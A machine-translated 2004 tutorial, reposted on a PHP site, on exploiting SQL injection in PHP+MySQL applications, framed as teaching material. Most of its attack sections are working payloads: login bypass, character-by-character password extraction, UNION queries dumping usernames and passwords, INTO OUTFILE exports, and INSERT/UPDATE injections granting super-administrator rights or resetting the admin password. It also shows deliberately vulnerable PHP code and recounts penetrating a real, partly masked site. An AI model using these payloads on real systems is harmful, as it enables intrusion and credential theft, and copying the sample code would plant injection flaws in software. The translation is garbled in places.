Home >Backend Development >PHP Tutorial >How to write MYSQL statements with injection vulnerabilities_PHP tutorial

How to write MYSQL statements with injection vulnerabilities_PHP tutorial

WBOY
WBOYOriginal
2016-07-13 17:01:47820browse

 SQL Injection with MySQL
Author of this article: angel
Article nature: original
Release date: 2004-09-16
This article has been published in the July issue of "Hacker Defense". Please indicate when reprinting. Because it took me a long time to write, and with the advancement of technology, I also found that there are many errors and wordy places in this article. Experts please don’t laugh after reading this. This article was written one month before "Advanced SQL Injection with MySQL".

Statement

This article is for teaching purposes only. I am not responsible for the consequences of attacks caused by this article. All codes in this article are written by me, and all data have been tested. Absolutely true. If there are any omissions or errors, please come to the Security Angel Forum (http://www.4ngel.net/forums) to communicate with me.

Foreword

Since 2003, more and more people are interested in script attacks, and more and more friends are studying injection under ASP. I have read the earliest article about SQL The article injected into was written by a foreign expert in 1999. Now that foreign experts have become proficient in it, China has only begun to pay attention to this technology. From this point of view, domestic technology in this area is relatively There is still a big gap abroad. Having said that, everyone is quite familiar with SQL injection attacks. There are some classic works on major domestic sites, but as a complete article article, I think it is still necessary to talk about its definition and principles. If any master has reached the level of proficiency, you might as well give this article some trouble. Quan should give guidance to the younger brother.

About injection of php+Mysql

There may be relatively few articles about php+Mysqlinjection in China, but if you pay attention to the vulnerabilities of various WEB programs, you can find that the articles about these vulnerabilities are actually an example. However, because there are far fewer people studying PHP in China than those studying ASP, they may not have paid attention. Moreover, PHP is much more secure than ASP, so many people do not want to cross this threshold.
Despite this, with the increasing number of PHP sites today, SQL injection is still the most effective and troublesome attack method. It is effective because at least 70% of sites have SQL Injection vulnerabilities. , including most domestic secure sites, the trouble is because versions below MYSQL4 do not support sub-statements, and when magic_quotes_gpc in php.ini is On. All ' (single quotes), " (double quotes), (backslashes) and empty characters in the submitted variables will be automatically converted to escaped characters containing backslashes . It brings a lot of obstacles to injecting . In the early days, based on the program code, it was really difficult to construct a statement without quotation marks to form an effective attack. Fortunately, current technology has constructed a statement without quotation marks for use in certain situations. As long as you have experience, it is not difficult at all to construct effective sentences, and the success rate is even high, but the specific situation must be analyzed on a case-by-case basis. First of all, we must get rid of a misunderstanding.

Note: In the absence of specific instructions, we assume that magic_quotes_gpc is all off.

Misunderstanding of php+Mysql
injection
Many people think that single quotes must be used to inject
under PHP+MYSQL, or there is no way to use "declare @a sysname select @a= like MSSQL. exec master.dbo.xp_cmdshell @a" to eliminate the quotation marks. In fact, this is a misunderstanding about injecting or it is a misunderstanding of Inject into a misunderstanding. Why? Because no matter what language it is in, all strings in quotation marks (including single and double) are constants. Even commands like dir are just strings and cannot be executed as commands unless the code is written like this :
$command = "dir c:";
system($command);

Otherwise it is just a string. Of course, the commands we are talking about do not only refer to system commands. What we are talking about here are SQL statements. To make the SQL statements we construct execute normally, we cannot let our statements become strings. So what happens? Will you use single quotes next time? When is it not used? Take a look at the following two SQL statements:


①SELECT * FROM article WHERE articleid='$id'
②SELECT * FROM article WHERE articleid=$id

Both writing methods are common in various programs, but the security is different. The first sentence puts the variable $id in a pair of single quotes, which makes the variables we submit become strings, even if Even if it contains the correct SQL statement, it will not be executed normally. The second sentence is different. Since the variables are not put in single quotes, everything we submit will be executed as an SQL statement as long as it contains spaces. , we submitted two malformed sentences that successfully injected into the two sentences to see the difference.
① Specify variable $id as:
1' and 1=2 union select * from user where userid=1/* At this time, the entire SQL statement becomes:
SELECT * FROM article WHERE articleid='1' and 1=2 union select * from user where userid=1/*'

②Specify the variable $id as:
1 and 1=2 union select * from user where userid=1
At this time, the entire SQL statement becomes:
SELECT * FROM article WHERE articleid=1 and 1=2 union select * from user where userid=1


Did you see it? Since the first sentence has single quotes, we must first close the previous single quotes so that the following statements can be executed as SQL, and we must comment out the following single quotes in the original SQL statement so that we can succeed

Inject , if magic_quotes_gpc in php.ini is set to on or the addslashes() function is used before the variable, our attack will be in vain, but the second sentence does not include the variable in quotes, then we There is no need to think about closing or commenting, just submit it directly. You have seen that the statements given in some articles do not contain single quotation marks. For example, the SQL statement given in pinkeyes' "php
InjectionExample" does not contain quotation marks. Everyone Don’t think that you can actually inject without the quotation marks . If you look carefully at the PHPBB code, you can find that the SQL statement where $forum_id is located is written like this:
$sql = "SELECT *
FROM " . FORUMS_TABLE . " WHERE forum_id = $forum_id";


Since variables are not enclosed in single quotes, pinkkeys have an opportunity to take advantage of them. Therefore, when writing PHP programs, remember to include variables in single quotes. Of course, necessary safety measures are essential.

Simple example

Let me give you an example to understand the particularity and principle of

injection into under PHP. Of course, this example can also tell you how to learn to construct effective SQL statements. Let’s take an example of user verification. First, create a database
and a data table and insert a record, as follows:
CREATE TABLE `user` (
`userid` int(11) NOT NULL auto_increment, `username` varchar(20) NOT NULL default '',
`password` varchar(20) NOT NULL default '',
PRIMARY KEY (`userid`)
) TYPE=MyISAM AUTO_INCREMENT=3 ;

#
#Export data in the table `user`
#

INSERT INTO `user` VALUES (1, 'angel', 'mypass');


The code to verify user files is as follows:


$servername = "localhost"; $dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");

$sql = "SELECT * FROM user WHERE username='$username' AND password='$password'";

$result = mysql_db_query($dbname, $sql);
$userinfo = mysql_fetch_array($result);

if (empty($userinfo))
{
echo "Login failed";
} else {
echo "Login successful";
}

echo "

SQL Query: $sql

";
?>


​At this time we submit:


http://127.0.0.1/injection/user.php?username=angel
' or 1=1
will return:


Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13
Login failed
SQL Query:SELECT * FROM user WHERE username='angel' or 1=1' AND password=''

PHP Warning: mysql_fetch_array(): supplied argument is not a valid MySQL result resource in F:wwwinjectionuser.php on line 13


Did you see it? After the single quotes are closed, the following single quotes are not commented out, resulting in the single quotes not being paired correctly. Therefore, it can be seen that the statement we constructed cannot allow Mysql to execute correctly and needs to be restructured:

http://127.0.0.1/injection/user.php?username=angel' or '1=1


At this time, "Login Successful" is displayed, indicating that it is successful. Or submit:

http://127.0.0.1/injection/user.php?username=angel'/*
http://127.0.0.1/injection/user.php?username=angel'%23


This will comment out the following statements! Let’s talk about the differences between these two submissions. The first sentence we submitted uses logical operations. It can be said to be very widely used in ASP. Needless to say, right? The second and third sentences are based on the characteristics of mysql. Mysql supports two comment formats: /* and #, so when we submit, we comment out the following code. It is worth noting that due to encoding issues, we submit # in the IE address bar. will become empty, so when we submit in the address bar, we should submit %23 before it becomes #, and it is successfully commented. This is much simpler than logical operations. From this, we can see that PHP is more powerful and flexible than ASP Much more.
Through the above example, everyone should have a perceptual understanding of PHP+MYSQL's injection , right?

Statement construction

The breadth and depth of PHP+MYSQLInjection is not only reflected in the quality of the certification system. The structure of the statement is the most interesting part, but the structure of the statement is slightly different from ACCESS and MSSQL. , but it can also be used to its full potential. See the example below.

1. Search engine

There are a lot of PHP program search engines on the Internet that have problems, that is, submitting special characters can display all records, including those that do not meet the conditions. In fact, this harm is not great, because there are many places where users are allowed to enter keywords for fuzzy queries. Most allow retrieval of all records. Many queries are designed like this.
The query is a read-only operation and should not cause damage to the data, so don't worry too much. However, I don’t know if leaking privacy is considered harmful. Here is a standard search engine:




Search result



$servername = "localhost";
$dbusername = "root";
$dbpassword = "";
$dbname = "injection";

mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");

$keywords = $_GET['keywords'];
if (!empty($keywords)) {
//$keywords = addslashes($keywords);
//$keywords = str_replace("_","_",$keywords);
//$keywords = str_replace("%","%",$keywords);

​$sql = "SELECT * FROM ".$db_prefix."article WHERE title LIKE '%$keywords%' $search ORDER BY title DESC";
​$result = mysql_db_query($dbname,$sql);
​$tatol=mysql_num_rows($result);

echo "

SQL Query: $sql

";

​if ($tatol <=0){
echo "The "$keywords" was not found in all the record.

n";
} else {
​​while ($article=mysql_fetch_array($result)) {
echo "

  • ".htmlspecialchars($article[title])."

    n";
      } //while
    }
    } else {
    echo ": please enter some keywords.

    n";
    }
    ?>


    Generally, programs are written like this. If there is a lack of variable checking, we can rewrite the variables to achieve the purpose of " injecting ". Although there is no harm, when we enter "___", " .__", "%" and other similar keywords will fetch all records in the database. If we submit in the form:

    %' ORDER BY articleid/*
    %' ORDER BY articleid#
    __' ORDER BY articleid/*
    __' ORDER BY articleid#



    The SQL statement is changed to the following,

    SELECT * FROM article WHERE title LIKE '%%' ORDER BY articleid/*%' ORDER BY title DESC
    SELECT * FROM article WHERE title LIKE '%__' ORDER BY articleid#%' ORDER BY title DESC


    All records will be listed, including hidden ones, and the sort order can also be changed. Although this is not very harmful, it can be regarded as a way of injecting into , right?

    2. Query field

    Query fields can be divided into two types, local table query and cross-table query. These two queries are similar to ACCESS and MSSQL, and are even more powerful, flexible and convenient. I don’t know why some people think it is more difficult than ASP? Some functions we often use in ASP need to be slightly modified in PHP, as follows:

    ① Query this table

    Look at the following SQL statement, which is mostly used in forums or member registration systems to view user information,

    $servername = "localhost";
    $dbusername = "root";
    $dbpassword = "";
    $dbname = "injection";

    mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");

    $sql = "SELECT * FROM user WHERE username='$username'";
    $result = mysql_db_query($dbname,$sql);
    $row = mysql_fetch_array($result);

    if (!$row) {
    echo "The record does not exist";
    echo "

    SQL Query: $sql

    ";
    exit;
    }

    echo "The user ID you want to query is: $row[userid]n";
    echo "

    SQL Query:$sql

    ";
    ?>


    When the username we submit is true, the user's ID will be returned normally. If it is an illegal parameter, a corresponding error will be prompted. Since we are querying user information, we can boldly guess that the password exists in this data table (now I still I have never encountered a program where the password is stored in another table separately). Do you remember the identity verification program just now? Compared with the current one, there is one less AND condition, as follows:

    SELECT * FROM user WHERE username='$username' AND password='$password'SELECT * FROM user WHERE username='$username'


    The same thing is that when the condition is true, the correct prompt information will be given. If we construct the subsequent AND condition part and make this part true, then our purpose will be achieved. We can still use the user we just created. Database, user name is angel, password is mypass,
    After reading the above example, you should know the structure. If we submit:

    http://127.0.0.1/injection/user.php?username=angel' and password='mypass


    This is absolutely true, because when we submit the above SQL statement like this, it becomes like this:

    SELECT * FROM user WHERE username='angel' AND password='mypass'


    But in an actual attack, we definitely don’t know the password. Assuming that we know each field of the database, we will start to detect the password. First, get the password length:

    http://127.0.0.1/injection/user.php?username=angel' and LENGTH(password)='6


    In ACCESS, use the LEN() function to obtain the string length. In MYSQL, use LENGTH(). As long as there are no construction errors, that is to say, the SQL statement can be executed normally, there are only two types of return results. User ID means that "the record does not exist" is returned. When the user name is angel and the password length is 6, it returns true and the relevant records will be returned. Is it the same as in ASP? Then use the LEFT(), RIGHT(), and MID() functions to guess the password:

    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,1)='m
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,2)='my
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,3)='myp
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,4)='mypa
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,5)='mypas
    http://127.0.0.1/injection/user.php?username=angel' and LEFT(password,6)='mypass


    Look, didn’t the password come out? Simple right? Of course, the actual situation will have many restrictions, and the in-depth application of this example will be discussed below.

    ② Cross-table query

    This part is a bit different from ASP. In addition to using UNION to connect two SQL statements, the most difficult thing to master is the number of fields. If you have read the MYSQL reference manual, you will know that select_expression in SELECT (select_expression means you want to retrieve The columns listed in the Column[Field]) section must be of the same type. The column names used in the first SELECT query will be returned as the column names of the result set. To put it simply, the number and field types selected after UNION should be the same as those in the previous SELECT. Moreover, if the previous SELECT is true, the results of two SELECTs will be returned at the same time. If the previous SELECT is false, then The result of the second SELECT will be returned. In some cases, the fields that should be displayed in the first SELECT will be replaced, as shown below:



    Is it more intuitive after looking at this picture? Therefore, you should first know the structure of the data table of the previous query table. If the fields we query in the two data tables are the same and of the same type, we can submit like this:

    SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM……


    If the number of fields and field types are different, you can only clear the data type and number of fields and submit like this:

    SELECT * FROM article WHERE articleid='$id' UNION SELECT 1,1,1,1,1,1,1 FROM……


    Otherwise, an error will be reported:

    The used SELECT statements have a different number of columns


    If you don’t know the data type and number of fields, you can use 1 to try slowly. Because 1 belongs to the intstrvar type, we can definitely guess it as long as we slowly change the number. If you don't understand the above theory right away, there are very detailed examples later.
    Let’s take a look at the data structure below, which is a simple article data table.

    CREATE TABLE `article` (
    `articleid` int(11) NOT NULL auto_increment,
    `title` varchar(100) NOT NULL default '',
    `content` text NOT NULL,
    PRIMARY KEY (`articleid`)
    ) TYPE=MyISAM AUTO_INCREMENT=3 ;

    #
    # Export data in the table `article`
    #

    INSERT INTO `article` VALUES (1, 'I am a child who doesn't like to read', 'China's education system is so fucking backward! If I were the Minister of Education. I would fire all the teachers!');
    INSERT INTO `article` VALUES (2, 'I hate you so much', 'I hate you so much, what are you');


    The field types of this table are int, varchar, and text. If we use UNION to query, the structure of the subsequent query table will be the same as this. You can use "SELECT *". If any one is different, then we can only use "SELECT 1,1,1,1...".

    The following file is a very standard and simple file for displaying articles. Many sites have this kind of page without filtering, so it becomes the most obvious injection point. Take this file below As an example, let's start with our injection experiment.

    $servername = "localhost";
    $dbusername = "root";
    $dbpassword = "";
    $dbname = "injection";

    mysql_connect($servername,$dbusername,$dbpassword) or die ("Database connection failed");

    $sql = "SELECT * FROM article WHERE articleid='$id'";
    $result = mysql_db_query($dbname,$sql);
    $row = mysql_fetch_array($result);

    if (!$row)
    {
    echo "The record does not exist";
    echo "

    SQL Query:$sql

    ";
    exit;
    }

    echo "title
    ".$row[title]."

    n";
    echo "content
    ".$row[content]."

    n";
    echo "

    SQL Query:$sql

    ";
    ?>


    Normally, we submit a request like this:

    http://127.0.0.1/injection/show.php?id=1


    The article with articleid 1 will be displayed, but we don’t need the article. What we need is the user’s sensitive information, so we need to query the user table. Now we are querying the user table we just created.
    Since $id is not filtered, this opportunity is created for us. We need to rewrite the SQL statement in the show.php file to look like this:

    SELECT * FROM article WHERE articleid='$id' UNION SELECT * FROM user ……


    Since this code contains variables in single quotes, we submit it now:

    http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user/*


    Logically speaking, the contents of the username and password fields of the user table should be displayed. How can I display the article normally? As shown in the picture:



    In fact, the articleid=1 we submitted exists in the article table, and the execution result is true. Naturally, the result of the previous SELECT is returned. When we submit an empty value or a non-existent value, what we want will pop up. Stuff:

    http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user/*
    http://127.0.0.1/injection/show.php?id=99999' union select 1,username,password from user/*


    As shown in the picture:



    Now display the content we want in the corresponding place of the field. If you are still unclear about the ideas and specific applications, some advanced techniques will be discussed later.

    3. Export file

    This is a technology that is relatively easy to construct but has certain limitations. We can often see the following SQL statement:

    select * from table into outfile 'c:/file.txt'
    select * from table into outfile '/var/www/file.txt'



    But such statements are rarely used in programs. Who would export their own data? Unless it is a backup, but I have never seen this backup method. So we have to construct it ourselves, but the following prerequisites must be met:

    It must be exported to an accessible directory so that it can be downloaded.
    Accessible directories must have writable permissions, otherwise the export will fail.
    Make sure the hard drive has enough capacity to accommodate the exported data, this is rare.
    Make sure that the same file name already exists, which will cause the export to fail and prompt: "File 'c:/file.txt' already exists". This can prevent database tables and files such as /etc/passwd from being damaged.
    Let’s continue to use the user.php and show.php files as examples above. If guessing one user at a time is too slow, if the other party’s password or other sensitive information is very complex, and they don’t know how to write an exploit, what should they guess? What time? Let's do something large-scale and export all the data directly. For the query statement of the user.php file, we follow the standard format of into outfile and inject into the following statement to export the information we need:
    SELECT * FROM user WHERE username='$username' into outfile 'c:/file.txt'

    Knowing what kind of statement can achieve our purpose, we can easily construct the corresponding statement:


    http://127.0.0.1/injection/user.php?username=angel
    ' into outfile 'c:/file.txt
    An error message appears, but from the returned statement, our SQL statement is indeed

    injection correctly. Even if an error occurs, it is also a problem with the query, and the file is still obediently Exported, as shown in the picture:

    Since the code itself has WHERE to specify a condition, the data we export is only the data that meets this condition. What if we want to export all? It's actually very simple. As long as you make the WHERE condition false and specify a true condition, you don't have to be bound to WHERE. Let's see the classic 1=1 in action:


    http://127.0.0.1/injection/user.php?username=
    ' or 1=1 into outfile 'c:/file.txt
    The actual SQL statement becomes:


    SELECT * FROM user WHERE username='' or 1=1 into outfile 'c:/file.txt'

    In this way, if the username parameter is empty, it is false. 1=1 is always true, so the WHERE in front of or will not work, but do not use and, otherwise all data cannot be exported.
    Since the conditions are met, in this case, all data will be exported directly! As shown in the picture:



    But how to construct the statement for exporting files across tables? UNION joint query is still used, so all prerequisites should be the same as UNION and exported data. Under normal circumstances, cross-table exported data should be the same as the following:

    SELECT * FROM article WHERE articleid='1' union select 1,username,password from user into outfile 'c:/user.txt'


    This way the file can be exported. If we want to construct it, submit it:

    http://127.0.0.1/injection/show.php?id=1' union select 1,username,password from user into outfile 'c:/user.txt


    The file is out, but there is a problem. Since the previous query articleid='1' is true, the exported data also contains part of the entire article, as shown in the figure:



    So we should make the previous query statement false so that we can only export the content of the subsequent query. Just submit:

    http://127.0.0.1/injection/show.php?id=' union select 1,username,password from user into outfile 'c:/user.txt


    Only in this way can we get the information we want:



    It is worth noting that if you want to export the file, magic_quotes_gpc must not be opened, and the program does not use the addslashes() function. Also, you cannot do any filtering on single quotes, because when we submit the export path, we must include it in quotes. , otherwise, the system will not recognize that it is a path, and there is no need to try to use char() or any other function, which is in vain.

    INSERT

    If you think that injection in MYSQL is only applicable to SELECT, you are totally wrong. In fact, there are two more harmful operations, which are INSERT and UPDATE statements. Such examples Not much, let’s talk about INSERT first, which is mainly used to rewrite inserted data. Let’s take a look at a simple and widespread example. Take a look at the following data structure:

    CREATE TABLE `user` (
    `userid` INT NOT NULL AUTO_INCREMENT ,
    `username` VARCHAR( 20 ) NOT NULL ,
    `password` VARCHAR( 50 ) NOT NULL ,
    `homepage` VARCHAR( 255 ) NOT NULL ,
    `userlevel` INT DEFAULT '1' NOT NULL ,
    PRIMARY KEY ( `userid` )
    );


    The userlevel represents the user level, 1 is an ordinary user, 2 is an ordinary administrator, and 3 is a super administrator. A registration program defaults to registering as an ordinary user, as follows:

    INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', '$username', '$password', '$homepage', '1');


    The default userlevel field is inserted into 1, and the variables in it are written directly into the database without filtering. What do you think? Yes, just and inject directly, so that we will be the super administrator as soon as we register. When we register, we can achieve the purpose of rewriting by constructing the $homepage variable. Specify the $homepage variable as:

    http://4ngel.net', '3')#


    When inserted into the database, it becomes:

    INSERT INTO `user` (userid, username, password, homepage, userlevel) VALUES ('', 'angel', 'mypass', 'http://4ngel.net', '3')#', ' 1');


    This will register you as a super administrator. But this method of utilization also has certain limitations. For example, I have no variables that need to be rewritten. For example, the userlevel field is the first field in the database. There is no place for us to inject in front. We There is no other way. Perhaps INSERT has wider applications, and you can research it yourself, but the principles are the same.
    UPDATE

    Compared with INSERT, UPDATE is more widely used. If the filtering is not enough, it can rewrite any data. Let’s take the registration program just now. The data structure remains unchanged. Let’s look at the user modifying his own information. The SQL statement is generally Written like this:


    UPDATE user SET password='$password', homepage='$homepage' WHERE id='$id'

    Users can change their passwords and homepages. What do you think? It’s not like we still need to elevate our permissions, right? The SQL statement in the program does not update the userlevel field. How can I improve it? Still the old way, construct the $homepage variable and specify the $homepage variable as:


    http://4ngel.net
    ', userlevel='3
    The entire SQL statement becomes like this:


    UPDATE user SET password='mypass', homepage='http://4ngel.net', userlevel='3' WHERE id='$id'

    Have we become super administrators again? The program does not update the userlevel field, we do it ourselves.
    There is something even more awesome, directly modify the information of any user, it is still the example sentence just now, but this time it is safer and uses MD5 encryption:

    UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='$id'


    Although the password is encrypted, we can still construct the statement we need. We specify $password as:

    mypass)' WHERE username='admin'#


    At this time, the entire sentence becomes:

    UPDATE user SET password='MD5(mypass)' WHERE username='admin'#)', homepage='$homepage' WHERE id='$id'


    This changes the update conditions. I don’t care if the code behind you is crying and saying: We haven’t executed it yet. Of course, you can also start with $id and specify $id as:

    ' OR username='admin'


    At this time, the entire sentence becomes:

    UPDATE user SET password='MD5($password)', homepage='$homepage' WHERE id='' OR username='admin'


    The purpose of modification can still be achieved, so injecting is a very flexible technology. If some variables are fixed values ​​read from the database, or even use $_SESSION['username'] to read SESSION information on the server, we can construct the WHERE ourselves before the original WHERE and comment out the following code, as It can be seen that flexible use of comments is also one of the techniques for injecting into . These techniques inject into to the fullest. I have to say it is an art.
    The submission method of variables can be GET or POST. The submission location can be the address bar, form, hidden form variable or modification of local COOKIE information, etc. The submission method can be local submission, submission on the server or tool submission. There are many ways. It depends on how you use it.

    Advanced Applications

    1. Use MYSQL built-in functions

    We have many more advanced injection methods in ACCESS and MSSQL, such as going deep into the system, guessing Chinese, etc. These things can also be used very well in MYSQL. In fact, there are many built-in functions in MYSQL that can be used in SQL statements, which allows us to be more flexible when injecting into , to get more information about the system. There are several functions that are commonly used: DATABASE() USER()
    SYSTEM_USER()
    SESSION_USER() CURRENT_USER()




    You can check the MYSQL manual for the specific functions of each function, such as the following UPDATE:

    UPDATE article SET title=$title WHERE articleid=1


    We can specify $title as each of the above functions. Because it is not enclosed in quotation marks, the function can be executed correctly:

    UPDATE article SET title=DATABASE() WHERE id=1
    #Update the current database name to the title field
    UPDATE article SET title=USER() WHERE id=1
    #Update the current MySQL user name to the title field UPDATE article SET title=SYSTEM_USER() WHERE id=1
    #Update the current MySQL user name to the title field
    UPDATE article SET title=SESSION_USER() WHERE id=1
    #Update the current MySQL user name to the title field
    UPDATE article SET title=CURRENT_USER() WHERE id=1
    #Update the username that is verified and matched in the current session to the title field



    By flexibly using the built-in functions of MYSQL, you can get a lot of useful information, such as database version, name, user, current database, etc. For example, in the previous example of cross-table query, submit:

    http://127.0.0.1/injection/show.php?id=1


    You can see an article, how can we know the relevant information of MYSQL database? It also uses MYSQL built-in functions to cooperate with UNION joint query, but it is much simpler in comparison, and you can even read files! Since UNION is to be used, the conditions of UNION must also be met - the number of fields and data types are the same. If we know the data structure, construct it directly:

    http://127.0.0.1/injection/show.php?id=-1

    union select 1,database(),version()
    You can return the current database name and database version, and the construction is relatively easy.
    Attached below is a piece of code written by my friend Super·Hei, which can convert strings into ASCII codes. Thanks for providing.


    #!/usr/bin/perl
    #cody by Super·Hei
    #to angel
    #C:>test.pl c:boot.ini #99,58,92,98,111,111,116,46,105,110,105

    $ARGC = @ARGV;
    if ($ARGC != 1) {
    ​print "Usage: $0 n";
    exit(1);
    }

    $path=shift;

    @char = unpack('C*', $path);

    $asc=join(",",@char);

    print $asc;


    2. Inject without single quotes

    Note: Now we assume that magic_quotes_gpc is on.

    As we all know, integer data does not need to be enclosed in quotation marks, but strings must be enclosed in quotation marks, which can avoid many problems. But if we only use integer data, we have no way to inject into , so I need to convert the statement we constructed into an integer type. This requires the use of CHAR(), ASCII( ), ORD(), CONV() functions, here is a simple example:

    SELECT * FROM user WHERE username='angel'


    How to make $username without quotes? It's very simple. We just submit it like this.

    SELECT * FROM user WHERE username=char(97,110,103,101,108)
    # char(97,110,103,101,108) is equivalent to angel, decimal.
    SELECT * FROM user WHERE username=0x616E67656C
    # 0x616E67656C is equivalent to angel, hexadecimal.



    You can test other functions by yourself, but the premise is as mentioned above. It only makes sense that the variables we can construct are not enclosed in quotation marks. Otherwise, no matter what we construct, it will just be a string and will not play a role, such as guessing the password earlier. For example (user,php), we change the query condition to userid:

    SELECT * FROM user WHERE userid=userid


    According to normal, submit:

    http://127.0.0.1/injection/user.php?userid=1


    You can query the user information with userid 1. Because 1 is a number, it doesn’t matter if there are quotes or not, but if we construct:

    http://127.0.0.1/injection/user.php?userid=1 and password=mypass


    Absolutely wrong, because mypass is a string, unless submitted:

    http://127.0.0.1/injection/user.php?userid=1 and password='mypass'


    Due to the fact that magic_quotes_gpc is turned on, this is absolutely impossible. The quotation marks will become /'. Is there any way we can turn these strings into integer data? Just use the CHAR() function, if we submit:

    http://127.0.0.1/injection/user.php?userid=1 and password=char(109,121,112,97,115,115)


    Return normally. Practice has proved that it is feasible for us to use CHAR(), so we use CHAR() in the LEFT function to guess the solution bit by bit!

    http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)=char(109)


    Return normally, indicating that for users with userid 1, the first bit of the password field is char(109), let’s continue guessing:

    http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,2)=char(109,121)


    It returns normally and the explanation is correct, but this affects the efficiency. Since it is an integer, we can use the comparison operator to compare:

    http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,1)>char(100)


    Then adjust the numbers in char() appropriately to determine a range. You can guess it quickly. Later, you can still use comparison operators to compare:

    http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,3)>char(109,121,111)


    And there is no need to change what you have already guessed, you can finish it quickly:

    http://127.0.0.1/injection/user.php?userid=1 and LEFT(password,6)=char(109,121,112,97,115,115)




    Then execute it in the mysql> command prompt or in phpMyadmin:

    select char(109,121,112,97,115,115)


    will return: mypass



    Of course, you can also use the SUBSTRING(str,pos,len) and MID(str,pos,len) functions to return a substring of len characters starting from the pos position of the string str. This is the same as ACCESS. Still using the example just now, let’s try guessing the third and fourth digits of the password field. The third digit is p and the fourth digit is a. We construct it like this:

    http://127.0.0.1/injection/user.php?userid=1 and mid(password,3,1)=char(112)
    http://127.0.0.1/injection/user.php?userid=1 and mid(password,4,1)=char(97)


    The results we wanted came out. Of course, if you find it troublesome, you can also use a simpler method, which is to use the ord() function. For specific functions, you can check the MYSQL reference manual. This function returns integer type data, which can be compared using comparison operators. Of course, The results will be produced much faster, that is, submitted like this:

    http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))>111
    http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))<113
    http://127.0.0.1/injection/user.php?userid=1 and ord(mid(password,3,1))=112


    In this way, we will get the result, and then we can use the char() function to restore it. As for other more functions, you can try them yourself, and I won’t go into details due to space limitations.

    3. Quickly determine the fields and types of unknown data structures

    If you don’t know the data structure, it is difficult to use UNION to query. Here I will tell you a little trick, which is also very useful and necessary to give full play to the characteristics of UNION.
    Let’s take the previous show.php file as an example. When we see a URL in the form xxx.php?id=xxx, if we want to UNION, we need to know the structure of the data table queried by xxx.php. We can do this Submit to quickly determine how many fields there are:

    http://127.0.0.1/injection/show.php?id=-1 union select 1,1,1


    How many "1"s there are means how many fields there are. You can try it slowly. If the number of fields is different, an error will definitely occur. If the number of fields is guessed correctly, the correct page will definitely be returned. Once the number of fields is figured out, it will be It is actually very easy to start judging the data type. Just replace the 1 above with a few letters. However, since magic_quotes_gpc is turned on, we cannot use quotation marks. The old method is to use the char() function. char(97) represents the letter "a". As follows:

    http://127.0.0.1/injection/show.php?id=-1 union select char(97),char(97),char(97)


    If it is a string, "a" will be displayed normally. If it is not a string or text, that is to say, it is an integer or Boolean, "0" will be returned, as shown in the figure:



    What is the most important thing to rely on for judgment? Experience, I have always said that experience is very important. Rich experience can better make correct judgments, because the program code is ever-changing. We are just giving the simplest example here. Due to limitations, the program is I wrote and tested it myself. Methods vary from program to program. I hope everyone will pay attention to the differences in actual combat and do not copy them. Flexible application is the fundamental.

    4. Guess the name of the data table

    On the basis of quickly determining the fields and types of the unknown data structure, we can further analyze the entire data structure, that is, guess the table name. In fact, when using UNION joint query, no matter how "deformed" the subsequent query is, as long as there is no statement The above questions will be returned correctly, that is to say, we can further guess the table name based on the above. For example, we just submitted:

    http://127.0.0.1/injection/show.php?id=1 union select 1,1,1


    Returning normal content means that there are 3 fields in the table queried by this file, and then we add from table_name at the end, that is:

    http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from members
    http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from admin
    http://127.0.0.1/injection/show.php?id=1 union select 1,1,1 from user


    If the table exists, the content that should be displayed will also be returned. If the table does not exist, of course an error will occur. So my idea is to first obtain the data structure of the table queried by the vulnerable file, and then proceed further after confirming the result. Query table, this manual operation is not efficient, it can be queried in less than a minute, for example, we are testing www.***bai.net, which will be covered in the following examples.
    But there is a problem, because in many cases, the data tables of many programs will have a prefix. With this prefix, multiple programs can share a database. For example:

    site_article
    site_user
    site_download
    forum_user
    forum_post
    ……



    If the security awareness is high, the administrator will add a table name prefix, which will be very troublesome to guess, but you can definitely make a table name list and run it. I won’t go into details here, there will be a specific example later to clear up all the confusion ^_^…

    Example

    The following is a well-intentioned attack test on a very famous domestic site to roughly verify the above knowledge. Due to many factors such as influence, we call this site HB (www.***bai.net). HB uses Yemao's article system and download system, but the article system has been upgraded, so we won't read it. There is definitely something wrong with the download system, but since the computer I am writing articles on does not have access to the Internet, I use the same download system. The system performs a simulated test locally. In fact, I had already penetrated HB using more vicious techniques.
    First we find the problematic file, show.php?id=1. We immediately look at the data structure and table names to see if HB has changed the fields and table names. I already knew that Nightmaul downloaded the system version 1.0.1 software. The information table has 19 fields, please submit:

    http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1


    Note that there are 19 "1"s here. Returning to the normal page, I can be sure that the fields have not changed, so let's stop dragging and see if the default user data table of Night Cat exists:

    http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1 from ymdown_user


    Return normally, as shown in the picture. If the URL is not clear, you can look at the title:



    Well, this HB is really lazy. I don’t know how to modify such a bad program before using it. However, not many people like me have the time to strengthen the program before using it. Then the default user ID is still there. Not here?

    http://127.0.0.1/ymdown/show.php?id=1 union select 1,1,1,1,1,1,1,1,1,1,1, 1,1,1,1,1,1,1,1 from ymdown_user where id=1


